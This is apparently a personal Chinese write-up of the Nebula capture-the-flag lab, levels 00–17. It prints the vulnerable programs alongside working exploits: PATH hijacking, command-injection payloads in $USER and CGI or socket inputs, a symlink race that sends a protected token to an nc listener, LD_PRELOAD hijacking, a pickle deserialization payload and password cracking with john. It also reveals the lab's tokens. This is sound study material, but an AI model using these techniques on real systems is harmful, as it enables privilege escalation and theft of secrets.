这份writeup可能水分很大,因为第一次玩这类的题目,所以一边看别人的writeup一边玩才玩的出来,不过还会有自己的总结。
附 这游戏一开始我是直接在虚拟机中玩,后面发现自己傻的可以,虚拟机中各种不方便,不能粘贴复制之类,没有鼠标etc。
后面发现,特么我只要设置下虚拟机的网络,就可以用本机shell,ssh连上去啊!
Level00 第0题就是在告诉我们这系列的题目要怎么玩了,如何才算做出来。
其实就是分为两类用户,一个是levelxx和flagxx,xx就是题号,目的就是在levelxx用户的情况下,通过某些方法进入flagxx用户,然后执行getflag. 按目前的情况看,flagxx就是含漏洞的可执行文件。之后还有一些题是要求获取token,而token就是该题flag用户的密码。
第0题没啥技术性,就是用来告诉我们上面这些东西,flag00
的路径位 /bin/.../flag00
, 直接执行就好:
1 2 3 4 5 level00@nebula:/bin/...$ ./flag00 Congrats, now run getflag to get your flag! flag00@nebula:/bin/...$ getflag You have successfully executed getflag on a target account
Level01 第一题就感觉学到很多了,这题给了程序的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 //flag01.c #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
程序位于 /home/flag01/flag01
, 我认为该题的关键点在于文件的s权限,
1 2 3 4 $ chmod 4750 flag01 $ ll -rwsr-x--- flag01 level01 flag01
uid, gid现在还不是了解的很清楚,以后再研究。
在没有设置s权限的情况下,运行flag01的uid和gid都为运行该程序用户的id,(可在/etc/passwd中查看),但当设置了s权限之后,uid则变为该文件所属用户的uid,也就是说,任意用户(有权限)运行该文件,uid都为flag01的uid。
这有啥意义呢? 该游戏的目的是使用levelxx用户通过flagxx程序get flagxx用户shell,运行getflag,该程序最后使用了system函数运行系统命令,因为设置了s权限,所以是以该文件所有者的身份运行命令,所以有两个思路,一个是直接运行getflag,另一个是运行/bin/bash
get flag01用户的shell,这里我们用第二种方法。
$ /usr/bin/env echo
是从左往右搜索 $PATH环境变量中的路径,寻找echo命令,则我们可以在环境变量的最左边添加一个路径,里面有一个我们自己写的echo命令:
1 2 3 4 5 6 7 8 9 10 level01@neula:~$ PATH=/tmp:$PATH level01@neula:~$ vim /tmp/echo #!/bin/bash /bin/bash :wq level01@neula:~$ chmod +x /tmp/echo level01@neula:~$ cd /home/flag01 level01@neula:~$ ./flag01 flag01@neula:~$ getflag You have successfully executed getflag on a target account
Level02 这题一样,源码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 //flag02.c #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf($buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
然后运行该程序试试
1 2 3 level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo level02 is cool") level02 is cool
这题很简单,主要在 getenv("USER")
函数,该函数是获得shell的变量$USER
1 2 level02@nebula:~$ echo $USER level02
所以只要更改该值,以达到我们能get flag02用户shell的目的
1 2 3 4 5 6 level02@nebula:/home/flag02$ USER=";bash;" level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo ;bash; is cool") flag02@nebula:/home/flag02$ getflag You have successfully executed getflag on a target account
Level03 这题有个定时脚本,每隔几分钟运行一个:
1 2 3 4 5 6 #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
这是一个 flag03用户运行的定时脚本,运行writable.d中的文件,运行结束后删除,不是很清楚这题的意义所在,/home/flag03/writable.d文件夹可写,那就写个脚本呗:
1 2 3 4 level03@nebula:/home/flag03/writable.d$ vim getflag.sh #!/bin/bash getflag > a.out :wq
等会,你就会发现getflag.sh文件不见了,/home/flag03 下多出了a.out文件
1 2 level03@nebula:/home/flag03$ cat a.out You have successfully executed getflag on a target account
恕我才疏学浅,这题并不懂该如何getshell,不过感觉这样和getshell没啥区别,想运行啥直接写脚本里就好了
Level04 源码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 //flag04.c #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if (argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if (strstr((argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if (fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if (rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
这题的目的是读取/home/flag04/token文件,可是该文件对level04用户没有可读权限,然后通过flag04程序的限制读取token文件,flag04的源码如上。这里我陷入了一个误区了,以为对token文件啥权限都没有,所以注意里都放在代码上了,后面看了lightless的writeup才知道,没有权限的情况下仍然可以进行软链接。
1 2 3 level04@nebula:~$ ln -s /home/flag04/token /tmp/fff level04@nebula:/home/flag04$ ./flag04 /tmp/fff 06508b5e-8909-4f38-b630-fdb148a848a2
Level05 这题很简单,在 /home/flag05
目录下多出了 .backup
和 .ssh
目录,.ssh
目录没有可读权限,.backup
里有个压缩文件,copy到自己的目录下解压。
1 2 3 level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /home/level05 level05@nebula:/home/flag05/.backup$ cd /home/level05 level05@nebula:/home/level05$ tar zvxf backup-19072011.tgz
解压出来了三个文件
authorized_keys
id_rsa
id_rsa.pub 猜测这就是 .ssh
目录里的内容,所以可以直接ssh免密登录了1 2 3 level05@nebula:~$ ssh flag05@127.0.0.1 flag05@nebula:~$ getflag You have successfully executed getflag on a target account
Level06 这题涨姿势了,要我自己做,肯定是做不出来的,根据题目提示,到 /home/flag06
里去看,啥有用的也没发现,然后看了LL的wp后,才知道,重点是在 /etc/password
1 2 flag06@nebula:~$ cat /etc/passwd|grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
我猜测,这题的目的是让我们学如何破linux密码,但是/etc/shadow
普通用户不可读,所以把flag06在shadow的内容复制到passwd中
所以接下来就是破密码了, 使用 john命令,通过apt直接安装:
1 2 3 4 5 6 7 8 9 10 11 $ apt-get install john ...... $ cat passwd flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh $ john passwd Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16]) Press 'q' or Ctrl-C to abort, almost any other key for status hello (flag06) 1g 0:00:00:00 100% 2/3 2.631g/s 1981p/s 1981c/s 1981C/s 123456..marley Use the "--show" option to display all of the cracked passwords reliably Session completed
密码:hello 然后ssh登录,getflag
Level07 这题是perl的代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
虽然不懂Perl,但一看下就是$host没做任何过滤,所以可能会存在命令执行漏洞。这个脚本位于 /home/flag07/index.cgi
, 然后通过 thttpd.conf
可知,这应该是使用http协议,监听了7007端口,然后接收Host参数,所以
1 2 3 4 5 6 $ curl http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||whoami;" <html><head><title>Ping results</title></head><body><pre>flag07 </pre></body></html> $ curl http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||getflag;" <html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account </pre></body></html>
这是最简单的方法,因为这题的目的就是让我们getflag, 不过还可以进行提高,怎么getshell呢?去看LL菊苣的wp吧。。。。我没做出来。。thttpd一直报400错误。。
Level08 这题是流量审计,在 /home/flag08
里面有一个pcap文件,拖到本地用Wireshark,然后发现全是TCP包,然后有些是包含一些不全的数据,这时候可以使用wireshark跟踪tcp流的功能
右击任意一个TCP包,点击Follow TCP Stream
然后查看密码的十六进制
可知中间跟了几个0x7f(DEL),所以密码是 backd00Rmate
1 2 3 $ ssh flag08@nebula flag08@nebula:~$ getflag You have successfully executed getflag on a target account
Level09 这题是php代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
这题有两个可控点,$filename
和$use_me
然后涉及到两个知识点,一个是preg_replace已经被弃用的的/e(见[http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval] ) 会转义单引号,双引号,反斜杠和NULL,然后还会执行spam(“\2”)。。然后涉及到第二个知识点([ttp://php.net/manual/en/language.types.string.php#language.types.string.parsing]):
1 2 3 4 5 6 level09@nebula:/home/flag09$ vim /tmp/payload [email {${system($use_me)}}] level09@nebula:/home/flag09$ ./flag09 /tmp/payload whoami flag09 level09@nebula:/home/flag09$ ./flag09 /tmp/payload getflag You have successfully executed getflag on a target account
Level10 这题又是C代码审计,本题目标是读取token文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
我们需要给该程序传递两个参数,一个file(文件名), 一个host(主机名),这个程序的功能是,先检查file是否可读,如果可读,则与host:18211建立tcp连接,然后open(file),发送文件内容。如下测试该程序功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 level10@nebula:/home/flag10$ vim /tmp/a ffffff -------- ; 在本机(192.168.56.1)上 $ while [ 1 ];do nc -l 18211; done -------- level10@nebula:/home/flag10$ ./flag10 /tmp/a 192.168.56.1 Connecting to 192.168.56.1:18211 .. Connected! Sending file .. wrote file! -------- ; 本机 .oO Oo. ffffff
本题的漏洞在于,先是检查文件是否可读,但是并没有打开,如果检查完文件可读之后,在建立tcp连接的过程中,我把文件改成一个level10不可读,但是flag10可读的文件,程序任然能正常运行,过程如下:
1 2 3 4 5 6 7 8 9 10 11 level10@nebula:/home/flag10$ vim /tmp/level10.sh #!/bin/sh while [ 1 ]; do ln -sf /tmp/a /tmp/fff ln -sf /home/flag10/token /tmp/fff done level10@nebula:/home/flag10$ bash /tmp/level10.sh level10@nebula:/home/flag10$ while [ 1 ]; do ./flag10 /tmp/fff 192.168.56.1; done ----------- ; 你会在本机上看到token文件内容
Level11 还是C代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
这题应该不是很难,能看懂代码应该就能解出来,贴下我的payload脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #payload.py #!/usr/bin/env python #-*- coding:utf-8 -*- import sys def my_w_file(content): f = open("payload", "w") f.write(content) f.close() def main(command): command += "\x00" length = 1024 count_length = length & 0xff payload_command = "" for x in command: payload_command += chr((ord(x) ^ count_length) & 0xff) count_length -= ord(x) payload_command += chr(count_length & 0xff) payload = "Content-Length: " + str(length) + "\n" + payload_command + "A" * (length - len(payload_command) ) print payload #my_w_file(payload) if __name__ == '__main__': if len(sys.argv) == 2: main(sys.argv[1]) # $ python payload.py whoami | /home/flag11/flag11 # level11 # (╯‵□′)╯︵┻━┻ 这特么。。。不做了。。看了涛涛的博客,还有第二种更简单的方法,可是都不行。。。shit!
Level12 lua脚本的代码审计,好像是个后门脚本。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
这题你开着lua解释器试试就知道了。。问题在这行代码
1 2 prog = io.popen("echo "..password.." | sha1sum", "r") -- payload: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;#
没有对password做任何过滤,导致命令执行。
1 2 3 4 5 level12@nebula:/tmp$ nc 127.0.0.1 50001 Password: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;# Congrats, your token is 413**CARRIER LOST** level12@nebula:/tmp$ cat /tmp/get You have successfully executed getflag on a target account
感觉nebula有问题。。。没能getshell成功
Level13 这题的C代码很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
代码简单了,可是不会做了,看了涛涛的wp后,学到了许多新知识 前置知识点1:
LD_PRELOAD:
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
这题的思路就是劫持getuid函数 :
1 2 3 4 5 6 myuid.c #include <sys/types.h> uid_t getuid(void) { //system("getflag > /tmp/getflag13"); getshell失败 return 1000; }
2: 编译动态链接库
1 2 3 4 5 6 level13@nebula:/tmp$ gcc -shared myuid.c -o myuid.so level13@nebula:/tLD_PRELOAD=/tmp/myuid.so level13@nebula:/tmp$ export LD_PRELOAD level13@nebula:/tmp$ cp /home/flag13/flag13 ./ level13@nebula:/tmp$ ./flag13 your token is b705702b-76a8-42b0-8844-3adabbe5ac58
flag13和myuid.so的ruid要一样,所以把flag13 copy过来。
Level14 给一个加密程序,然后解密token文件。。。。这是小学的找规律?
1 2 3 4 5 6 7 8 9 #!/usr/bin/env python #-*- coding:utf-8 -*- cipher = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW." plain = "" for x in range(len(cipher)): plain += chr(ord(cipher[x]) - x) print plain
得到token后
1 2 3 4 5 6 level14@nebula:/home/flag14$ su flag14 Password: sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$ whoami flag14
Level15 暂无。。。前置技能没点够,LL的wp看不懂
Level16 perl代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
问题出在这句,命令执行
1 @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
然后在之前对变量 $username
做了两次过滤
1 2 $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space
一个是把所以字母变为大写,然后去掉空格后面的内容,可以这样测试 -> 在shell中输入以下命令,<xxx>
为可控区域,也就是你能输入的地方
1 $ egrep "^<xxx>" /home/flag16/userdb.txt 2>&1
然后 <xxx>
里的内容不应该出现空格,因为空格后面的内容都会被过滤,然后所以字母都必须是大写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 level16@nebula:/tmp$ vim GET #!/bin/sh getflag > /tmp/flag :wq level16@nebula:/tmp$ export PATH=/tmp:$PATH level16@nebula:/tmp$ GET level16@nebula:/tmp$ cat /tmp/flag getflag is executing on a non-flag account, this doesn't count level16@nebula:/tmp$ rm /tmp/flag ------------------ $ curl nebula:1616/index.cgi?username=%60%2f%2a%2fget%60 ------------------ level16@nebula:/tmp$ cat /tmp/flag You have successfully executed getflag on a target account
Level17 ( ′ロ` )终于遇到我会的语言了。。。python代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
详情参加官方文档 [https://docs.python.org/2/library/pickle.html]
问题出来pickle模块的loads方法,在如果dumps了一个object类型数据,则在loads时会执行其中的__reduce__方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # level16.py #!/usr/bin/env python #-*- coding:utf-8 -*- import os import pickle class ttt(object): def __reduce__(self): return (os.system,("getflag>/tmp/flag16",)) a = pickle.dumps(ttt()) print a #b = pickle.loads(a)
可以自己在本地测试一下。。我的修炼还是不够啊。。
1 2 3 4 level16@nebula:/tmp$ python level16.py > nc 127.0.0.1 10007 Accepted connection from 127.0.0.1:59058^C level16@nebula:/tmp$ cat flag16 You have successfully executed getflag on a target account
底层系统的水太深了。。。